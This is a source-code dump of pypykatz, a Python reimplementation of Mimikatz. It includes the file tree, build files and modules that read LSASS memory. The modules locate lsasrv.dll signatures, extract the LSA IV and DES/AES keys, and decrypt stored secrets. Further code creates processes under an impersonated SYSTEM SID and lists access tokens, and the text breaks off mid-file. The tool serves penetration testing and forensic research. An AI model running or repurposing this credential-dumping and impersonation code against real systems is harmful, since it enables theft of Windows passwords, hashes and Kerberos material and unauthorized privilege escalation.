├── .gitignore ├── LICENSE ├── MANIFEST.in ├── Makefile ├── README.md ├── pypykatz ├── __amain__.py ├── __init__.py ├── __main__.py ├── _version.py ├── alsadecryptor │ ├── __init__.py │ ├── asbmfile.py │ ├── cmdhelper.py │ ├── lsa_decryptor.py │ ├── lsa_decryptor_nt5.py │ ├── lsa_decryptor_nt6.py │ ├── lsa_template_nt5.py │ ├── lsa_template_nt6.py │ ├── lsa_templates.py │ ├── package_commons.py │ ├── packages │ │ ├── __init__.py │ │ ├── cloudap │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ ├── credman │ │ │ ├── __init__.py │ │ │ └── templates.py │ │ ├── dpapi │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ ├── kerberos │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ ├── livessp │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ ├── msv │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ ├── ssp │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ ├── tspkg │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ │ └── wdigest │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ └── win_datatypes.py ├── apypykatz.py ├── argparsertest.py ├── argpretty.py ├── buildtools │ └── pypykatz.ico ├── commons │ ├── __init__.py │ ├── common.py │ ├── filetime.py │ ├── kerberosticket.py │ ├── readers │ │ ├── __init__.py │ │ ├── local │ │ │ ├── __init__.py │ │ │ ├── common │ │ │ │ ├── __init__.py │ │ │ │ ├── advapi32.py │ │ │ │ ├── defines.py │ │ │ │ ├── fileinfo.py │ │ │ │ ├── kernel32.py │ │ │ │ ├── listhandles.cpp │ │ │ │ ├── live_reader_ctypes.py │ │ │ │ ├── privileges.py │ │ │ │ ├── privileges_types.py │ │ │ │ ├── psapi.py │ │ │ │ ├── version.py │ │ │ │ └── winreg.py │ │ │ ├── live_reader.py │ │ │ └── process.py │ │ ├── registry │ │ │ ├── __init__.py │ │ │ └── live │ │ │ │ ├── __init__.py │ │ │ │ └── reader.py │ │ ├── rekall │ │ │ ├── __init__.py │ │ │ └── rekallreader.py │ │ └── volatility3 │ │ │ ├── __init__.py │ │ │ └── volreader.py │ ├── win_datatypes.py │ └── winapi │ │ ├── __init__.py │ │ ├── constants.py │ │ ├── local │ │ ├── __init__.py │ │ ├── advapi32.py │ │ ├── function_defs │ │ │ ├── __init__.py │ │ │ ├── advapi32.py │ │ │ ├── defines.py │ │ │ ├── fileinfo.py │ │ │ ├── kernel32.py │ │ │ ├── live_reader_ctypes.py │ │ │ ├── netapi32.py │ │ │ ├── netapi32_high.py │ │ │ ├── ntdll.py │ │ │ ├── privileges.py │ │ │ ├── privileges_types.py │ │ │ ├── psapi.py │ │ │ ├── version.py │ │ │ └── winreg.py │ │ ├── kernel32.py │ │ ├── localwindowsapi.py │ │ ├── ntdll.py │ │ ├── psapi.py │ │ └── sid.py │ │ ├── machine.py │ │ └── processmanipulator.py ├── debugfile.py ├── dpapi │ ├── __init__.py │ ├── cmdhelper.py │ ├── constants.py │ ├── dpapi.py │ ├── extras.py │ ├── functiondefs │ │ ├── __init__.py │ │ └── dpapi.py │ └── structures │ │ ├── __init__.py │ │ ├── blob.py │ │ ├── credentialfile.py │ │ ├── masterkeyfile.py │ │ ├── system.py │ │ └── vault.py ├── example │ ├── __init__.py │ └── phandle_dll.py ├── kerberos │ ├── __init__.py │ ├── cmdhelper.py │ ├── functiondefs │ │ ├── __init__.py │ │ ├── advapi32.py │ │ ├── asn1structs.py │ │ ├── kernel32.py │ │ └── netsecapi.py │ ├── kerberos.py │ ├── kerberoslive.py │ └── kirbiutils.py ├── ldap │ ├── __init__.py │ └── cmdhelper.py ├── lsadecryptor │ ├── __init__.py │ ├── cmdhelper.py │ ├── lsa_decryptor.py │ ├── lsa_decryptor_nt5.py │ ├── lsa_decryptor_nt6.py │ ├── lsa_template_nt5.py │ ├── lsa_template_nt6.py │ ├── lsa_templates.py │ ├── package_commons.py │ └── packages │ │ ├── __init__.py │ │ ├── cloudap │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ ├── credman │ │ ├── __init__.py │ │ └── templates.py │ │ ├── dpapi │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ ├── kerberos │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ ├── livessp │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ ├── msv │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ ├── ssp │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ ├── tspkg │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py │ │ └── wdigest │ │ ├── __init__.py │ │ ├── decryptor.py │ │ └── templates.py ├── parsers │ ├── __init__.py │ └── cmdhelper.py ├── plugins │ ├── __init__.py │ └── pypykatz_rekall.py ├── pypykatz.py ├── rdp │ ├── __init__.py │ ├── cmdhelper.py │ ├── packages │ │ ├── __init__.py │ │ └── creds │ │ │ ├── __init__.py │ │ │ ├── decryptor.py │ │ │ └── templates.py │ └── parser.py ├── registry │ ├── __init__.py │ ├── aoffline_parser.py │ ├── cmdhelper.py │ ├── live_parser.py │ ├── offline_parser.py │ ├── sam │ │ ├── __init__.py │ │ ├── asam.py │ │ ├── common.py │ │ ├── sam.py │ │ └── structures.py │ ├── security │ │ ├── __init__.py │ │ ├── acommon.py │ │ ├── asecurity.py │ │ ├── common.py │ │ ├── security.py │ │ └── structures.py │ ├── software │ │ ├── __init__.py │ │ ├── asoftware.py │ │ └── software.py │ └── system │ │ ├── __init__.py │ │ ├── asystem.py │ │ └── system.py ├── remote │ ├── __init__.py │ ├── cmdhelper.py │ └── live │ │ ├── __init__.py │ │ ├── common │ │ ├── __init__.py │ │ └── common.py │ │ ├── localgroup │ │ ├── __init__.py │ │ └── enumerator.py │ │ ├── session │ │ ├── __init__.py │ │ └── enumerator.py │ │ └── share │ │ ├── __init__.py │ │ └── enumerator.py ├── smb │ ├── __init__.py │ ├── cmdhelper.py │ ├── dcsync.py │ ├── lsassutils.py │ ├── printer.py │ ├── regutils.py │ └── shareenum.py └── utils │ ├── __init__.py │ └── crypto │ ├── __init__.py │ ├── cmdhelper.py │ ├── gppassword.py │ └── winhash.py └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | *.reg 106 | *.kirbi -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include LICENSE README.md 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | clean: 2 | rm -f -r build/ 3 | rm -f -r dist/ 4 | rm -f -r *.egg-info 5 | find . -name '*.pyc' -exec rm -f {} + 6 | find . -name '*.pyo' -exec rm -f {} + 7 | find . -name '*~' -exec rm -f {} + 8 | 9 | publish: clean 10 | python3 setup.py sdist bdist_wheel 11 | python3 -m twine upload dist/* 12 | 13 | rebuild: clean 14 | python3 setup.py install 15 | 16 | build: 17 | python3 setup.py install -------------------------------------------------------------------------------- /pypykatz/__amain__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | import os 8 | import logging 9 | 10 | def main(): 11 | import argparse 12 | import glob 13 | 14 | from pypykatz.alsadecryptor.cmdhelper import LSACMDHelper 15 | 16 | 17 | cmdhelpers = [LSACMDHelper()] 18 | 19 | 20 | parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') 21 | parser.add_argument('-v', '--verbose', action='count', default=0) 22 | 23 | subparsers = parser.add_subparsers(help = 'commands') 24 | subparsers.required = True 25 | subparsers.dest = 'command' 26 | 27 | live_group = subparsers.add_parser('live', help='Get secrets from live machine') 28 | live_subparsers = live_group.add_subparsers() 29 | live_subparsers.required = True 30 | live_subparsers.dest = 'module' 31 | 32 | #this is the new cmd helper formet, in beta mode currently 33 | for helper in cmdhelpers: 34 | helper.add_args(subparsers, live_subparsers) 35 | 36 | 37 | live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') 38 | 39 | live_subparser_process_group.add_argument('cmd', choices=['create']) 40 | live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') 41 | live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') 42 | live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') 43 | 44 | live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') 45 | live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) 46 | live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') 47 | live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') 48 | live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) 49 | 50 | version_group = subparsers.add_parser('version', help='version') 51 | banner_group = subparsers.add_parser('banner', help='banner') 52 | logo_group = subparsers.add_parser('logo', help='logo') 53 | 54 | ####### PARSING ARGUMENTS 55 | 56 | args = parser.parse_args() 57 | 58 | 59 | ###### VERBOSITY 60 | if args.verbose == 0: 61 | logging.basicConfig(level=logging.INFO) 62 | elif args.verbose == 1: 63 | logging.basicConfig(level=logging.DEBUG) 64 | else: 65 | level = 5 - args.verbose 66 | logging.basicConfig(level=level) 67 | 68 | ##### Common obj 69 | #results = {} 70 | #files_with_error = [] 71 | 72 | for helper in cmdhelpers: 73 | helper.execute(args) 74 | 75 | 76 | ###### Live 77 | if args.command == 'live': 78 | if args.module == 'process': 79 | if args.cmd == 'create': 80 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator 81 | pm = ProcessManipulator() 82 | sid = 'S-1-5-18' 83 | if args.sid is not None: 84 | sid = args.sid 85 | 86 | if args.cmdline is not None: 87 | cmdline = args.cmdline 88 | else: 89 | #looking for the correct path... 90 | cmdline = os.environ['ComSpec'] 91 | 92 | pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) 93 | return 94 | 95 | elif args.module == 'token': 96 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator 97 | if args.cmd == 'list': 98 | pm = ProcessManipulator() 99 | for ti in pm.list_all_tokens(args.force): 100 | print(str(ti)) 101 | return 102 | 103 | if args.cmd == 'current': 104 | pm = ProcessManipulator() 105 | token_info = pm.get_current_token_info() 106 | print(str(token_info)) 107 | return 108 | 109 | elif args.module == 'users': 110 | from pypykatz.commons.winapi.machine import LiveMachine 111 | 112 | if args.cmd == 'list': 113 | lm = LiveMachine() 114 | users = lm.list_users() 115 | for sid in users: 116 | print(str(users[sid])) 117 | 118 | elif args.cmd == 'whoami': 119 | lm = LiveMachine() 120 | user = lm.get_current_user() 121 | print(str(user)) 122 | 123 | elif args.command == 'version': 124 | from pypykatz._version import __version__ 125 | print(__version__) 126 | 127 | elif args.command == 'banner': 128 | from pypykatz._version import __banner__ 129 | print(__banner__) 130 | 131 | elif args.command == 'logo': 132 | from pypykatz._version import __logo__, __logo_color__ 133 | print(__logo_color__) 134 | print(__logo__) 135 | 136 | 137 | 138 | 139 | if __name__ == '__main__': 140 | main() 141 | -------------------------------------------------------------------------------- /pypykatz/__init__.py: -------------------------------------------------------------------------------- 1 | name = "pypykatz" 2 | import logging 3 | 4 | logger = logging.getLogger('pypykatz') 5 | -------------------------------------------------------------------------------- /pypykatz/_version.py: -------------------------------------------------------------------------------- 1 | 2 | __version__ = "0.6.3" 3 | __banner__ = \ 4 | """ 5 | # pypyKatz %s 6 | # Author: Tamas Jos @skelsec 7 | # License: MIT 8 | """ % __version__ 9 | 10 | __logo__ = \ 11 | """ 12 | &. 13 | @@@@@ 14 | ///////\\ @@@@@@@ 15 | ////////////. @@@@@@@@@@ 16 | ///(( /////\. @/@@@@@@@@@ 17 | //(( ///// @@@@@@@@@@@@@ 18 | //((( / " @@@@@@@@@ 19 | \(((( @@@@@@@@@@@@@ 20 | \\((((((.@@@@@@@@@@@@@@@@ 21 | ------ P Y P Y K A T Z ------ 22 | """ 23 | 24 | __logo_color__ = \ 25 | """ 26 | \x1b[38;5;240m &. \x1b[0m 27 | \x1b[38;5;240m @@@@@ \x1b[0m 28 | \x1b[38;5;118m ///////\\\\ \x1b[38;5;240m @@@@@@@ \x1b[0m 29 | \x1b[38;5;118m ////////////. \x1b[38;5;240m @@@@@@@@@@ \x1b[0m 30 | \x1b[38;5;118m///\x1b[38;5;106m(( \x1b[38;5;118m/////\x1b[38;5;240m\\\x1b[38;5;118m. \x1b[38;5;240m @\x1b[38;5;118m/\x1b[38;5;240m@@@@@@@@@ \x1b[0m 31 | \x1b[38;5;118m//\x1b[38;5;106m((\x1b[38;5;118m ///// \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m 32 | \x1b[38;5;118m//\x1b[38;5;106m((( \x1b[38;5;15m/ " \x1b[38;5;240m@@@@@@@@@\x1b[0m 33 | \x1b[38;5;118m \\\x1b[38;5;106m(((( \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m 34 | \x1b[38;5;118m \\\\\x1b[38;5;106m((((((\x1b[38;5;240m.@@@@@@@@@@@@@@@@ \x1b[0m 35 | ------ \x1b[38;5;196mP Y P Y K A T Z\x1b[0m ------ 36 | """ -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from .lsa_templates import * 8 | from .lsa_decryptor import * 9 | from .packages import * -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/asbmfile.py: -------------------------------------------------------------------------------- 1 | 2 | import math 3 | 4 | class FileSection: 5 | def __init__(self, startpos, data): 6 | self.startpos = startpos 7 | self.endpos = startpos + len(data) 8 | self.data = data 9 | 10 | def inrange(self, start, size): 11 | if start >= self.startpos and (start+size) <= self.endpos: 12 | return True 13 | return False 14 | 15 | def read(self, start, size): 16 | return self.data[ start - self.startpos : (start - self.startpos) + size] 17 | 18 | class SMBFileReader: 19 | def __init__(self, smbfile): 20 | self.smbfile = smbfile 21 | self.cache = [] 22 | self.curpos = 0 23 | 24 | async def open(self, connection, mode = 'r'): 25 | return await self.smbfile.open(connection, mode=mode) 26 | 27 | 28 | async def read(self, n = -1): 29 | #print('read %s' % n) 30 | if n == 0: 31 | return b'' 32 | 33 | if n != -1: 34 | for section in self.cache: 35 | if section.inrange(self.curpos, n) is True: 36 | #print(n) 37 | data = section.read(self.curpos, n) 38 | #print(data) 39 | await self.seek(n, 1) 40 | return data 41 | 42 | #print('CACHE MISS!') 43 | # requested data not found in cache, this case we will read a larger chunk than requested and store it in memory 44 | # since reading more data skews the current position we will need to reset the position by calling seek with the correct pos 45 | 46 | readsize = min(self.smbfile.maxreadsize, self.smbfile.size) 47 | buffer = b'' 48 | 49 | # this is needed bc sometimes the readsize is smaller than the requested amount 50 | for _ in range(int(math.ceil(n/readsize))): 51 | data, err = await self.smbfile.read(readsize) 52 | if err is not None: 53 | raise err 54 | buffer += data 55 | 56 | section = FileSection(self.curpos, buffer) 57 | self.cache.append(section) 58 | 59 | data = section.read(self.curpos, n) 60 | await self.seek(self.curpos + n, 0) 61 | return data 62 | 63 | async def close(self): 64 | return await self.smbfile.close() 65 | 66 | async def delete(self): 67 | return await self.smbfile.delete() 68 | 69 | def tell(self): 70 | return self.curpos 71 | 72 | async def seek(self, n, whence = 0): 73 | #print('seek %s %s' % (whence, n)) 74 | _, err = await self.smbfile.seek(n, whence) 75 | if err is not None: 76 | raise err 77 | self.curpos = self.smbfile.tell() -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/lsa_decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 7 | from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 8 | from pypykatz.alsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6 9 | from pypykatz.alsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5 10 | 11 | class LsaDecryptor: 12 | def __init__(self): 13 | pass 14 | 15 | @staticmethod 16 | def choose(reader, decryptor_template, sysinfo): 17 | if isinstance(decryptor_template, LsaTemplate_NT5): 18 | return LsaDecryptor_NT5(reader, decryptor_template, sysinfo) 19 | else: 20 | return LsaDecryptor_NT6(reader, decryptor_template, sysinfo) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/lsa_decryptor_nt6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from pypykatz import logger 9 | from pypykatz.commons.common import hexdump 10 | from unicrypto.symmetric import MODE_CBC, MODE_CFB, AES, TDES 11 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 12 | 13 | class LsaDecryptor_NT6(PackageDecryptor): 14 | def __init__(self, reader, decryptor_template, sysinfo): 15 | super().__init__('LsaDecryptor', None, sysinfo, reader) 16 | self.decryptor_template = decryptor_template 17 | self.iv = None 18 | self.aes_key = None 19 | self.des_key = None 20 | 21 | async def acquire_crypto_material(self): 22 | self.log('Acquireing crypto stuff...') 23 | sigpos = await self.find_signature() 24 | await self.reader.move(sigpos) 25 | data = await self.reader.peek(0x50) 26 | self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) 27 | self.iv = await self.get_IV(sigpos) 28 | self.des_key = await self.get_des_key(sigpos) 29 | self.aes_key = await self.get_aes_key(sigpos) 30 | 31 | async def get_des_key(self, pos): 32 | self.log('Acquireing DES key...') 33 | return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr) 34 | 35 | async def get_aes_key(self, pos): 36 | self.log('Acquireing AES key...') 37 | return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr) 38 | 39 | async def find_signature(self): 40 | self.log('Looking for main struct signature in memory...') 41 | fl = await self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) 42 | if len(fl) == 0: 43 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) 44 | raise Exception('LSA signature not found!') 45 | 46 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) 47 | self.log('Selecting first one @ 0x%08x' % fl[0]) 48 | return fl[0] 49 | 50 | async def get_IV(self, pos): 51 | self.log('Reading IV') 52 | #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr)) 53 | ptr_iv = await self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) 54 | self.log('IV pointer takes us to 0x%08x' % ptr_iv) 55 | await self.reader.move(ptr_iv) 56 | data = await self.reader.read(self.decryptor_template.key_pattern.IV_length) 57 | self.log('IV data: %s' % hexdump(data)) 58 | return data 59 | 60 | async def get_key(self, pos, key_offset): 61 | ptr_key = await self.reader.get_ptr_with_offset(pos + key_offset) 62 | self.log('key handle pointer is @ 0x%08x' % ptr_key) 63 | ptr_key = await self.reader.get_ptr(ptr_key) 64 | self.log('key handle is @ 0x%08x' % ptr_key) 65 | await self.reader.move(ptr_key) 66 | data = await self.reader.peek(0x50) 67 | self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) 68 | kbhk = await self.decryptor_template.key_handle_struct.load(self.reader) 69 | if kbhk.verify(): 70 | ptr_key = kbhk.ptr_key.value 71 | await self.reader.move(ptr_key) 72 | data = await self.reader.peek(0x50) 73 | self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) 74 | kbk = await kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct) 75 | self.log('HARD_KEY SIZE: 0x%x' % kbk.size) 76 | if kbk.verify(): 77 | self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data)) 78 | return kbk.hardkey.data 79 | 80 | def decrypt(self, encrypted): 81 | # TODO: NT version specific, move from here in subclasses. 82 | cleartext = b'' 83 | size = len(encrypted) 84 | if size: 85 | if size % 8: 86 | if not self.aes_key or not self.iv: 87 | return cleartext 88 | cipher = AES(self.aes_key, MODE_CFB, self.iv) 89 | cleartext = cipher.decrypt(encrypted) 90 | else: 91 | if not self.des_key or not self.iv: 92 | return cleartext 93 | cipher = TDES(self.des_key, MODE_CBC, self.iv[:8]) 94 | cleartext = cipher.decrypt(encrypted) 95 | return cleartext 96 | 97 | def dump(self): 98 | self.log('Recovered LSA encryption keys\n') 99 | self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex())) 100 | self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex())) 101 | self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex())) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/lsa_template_nt5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from pypykatz.alsadecryptor.win_datatypes import POINTER 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild 9 | from pypykatz.alsadecryptor.package_commons import PackageTemplate 10 | 11 | class LsaTemplate_NT5(PackageTemplate): 12 | def __init__(self): 13 | self.signature = None 14 | self.feedback = None 15 | self.randomkey_ptr = None 16 | self.DESXKey_ptr = None 17 | self.key_struct = None 18 | 19 | 20 | @staticmethod 21 | def get_template_brute(sysinfo): 22 | raise Exception('Template guessing is not applicable for NT5') 23 | 24 | 25 | @staticmethod 26 | def get_template(sysinfo): 27 | if sysinfo.architecture == KatzSystemArchitecture.X86: 28 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: 29 | return templates['nt5']['x86']['1'] 30 | else: 31 | raise Exception('NT 6 is in another castle!') 32 | 33 | elif sysinfo.architecture == KatzSystemArchitecture.X64: 34 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: 35 | return templates['nt5']['x64']['1'] 36 | else: 37 | raise Exception('NT 6 is in another castle!') 38 | 39 | class SYMCRYPT_NT5_DES_EXPANDED_KEY: 40 | def __init__(self, reader): 41 | self.roundKey = [] 42 | for _ in range(16): 43 | r = int.from_bytes(reader.read(4), 'little', signed = False) 44 | l = int.from_bytes(reader.read(4), 'little', signed = False) 45 | self.roundKey.append([r, l]) 46 | 47 | def __str__(self): 48 | t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n' 49 | for i, x in enumerate(self.roundKey): 50 | t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1])) 51 | return t 52 | 53 | class SYMCRYPT_NT5_DESX_EXPANDED_KEY: 54 | def __init__(self, reader): 55 | self.inputWhitening = reader.read(8) 56 | self.outputWhitening = reader.read(8) 57 | self.desKey = SYMCRYPT_NT5_DES_EXPANDED_KEY(reader) 58 | 59 | def __str__(self): 60 | t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n' 61 | t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex()) 62 | t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex()) 63 | t += 'desKey : %s\r\n' % (str(self.desKey)) 64 | return t 65 | 66 | class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER): 67 | def __init__(self, reader): 68 | super().__init__(reader, SYMCRYPT_NT5_DESX_EXPANDED_KEY) 69 | 70 | class LSA_x64_nt5_1(LsaTemplate_NT5): 71 | def __init__(self): 72 | LsaTemplate_NT5.__init__(self) 73 | self.arch = 'x64' 74 | self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3' 75 | self.nt_major = '5' 76 | self.feedback_ptr_offset = -67 77 | self.randomkey_ptr_offset = -17 78 | self.desx_key_ptr_offset = -35 79 | self.old_feedback_offset = 29 80 | self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY 81 | 82 | class LSA_x86_nt5_1(LsaTemplate_NT5): 83 | def __init__(self): 84 | LsaTemplate_NT5.__init__(self) 85 | self.arch = 'x86' 86 | self.nt_major = '5' 87 | self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3' 88 | self.feedback_ptr_offset = 25 89 | self.randomkey_ptr_offset = 9 90 | self.desx_key_ptr_offset = -4 91 | self.old_feedback_offset = 29 92 | self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY 93 | 94 | 95 | templates = { 96 | 'nt5' : { 97 | 'x86': { 98 | '1' : LSA_x86_nt5_1(), 99 | }, 100 | 'x64': { 101 | '1' : LSA_x64_nt5_1(), 102 | } 103 | } 104 | } -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/lsa_templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild 9 | from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 10 | from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 11 | 12 | class LsaTemplate: 13 | def __init__(self): 14 | pass 15 | 16 | 17 | @staticmethod 18 | def get_template_brute(sysinfo): 19 | if sysinfo.architecture == KatzSystemArchitecture.X86: 20 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 21 | return LsaTemplate_NT5.get_template_brute(sysinfo) 22 | else: 23 | return LsaTemplate_NT6.get_template_brute(sysinfo) 24 | 25 | elif sysinfo.architecture == KatzSystemArchitecture.X64: 26 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 27 | return LsaTemplate_NT5.get_template_brute(sysinfo) 28 | else: 29 | return LsaTemplate_NT6.get_template_brute(sysinfo) 30 | 31 | 32 | @staticmethod 33 | def get_template(sysinfo): 34 | if sysinfo.architecture == KatzSystemArchitecture.X86: 35 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 36 | return LsaTemplate_NT5.get_template(sysinfo) 37 | else: 38 | return LsaTemplate_NT6.get_template(sysinfo) 39 | 40 | elif sysinfo.architecture == KatzSystemArchitecture.X64: 41 | if sysinfo.buildnumber < 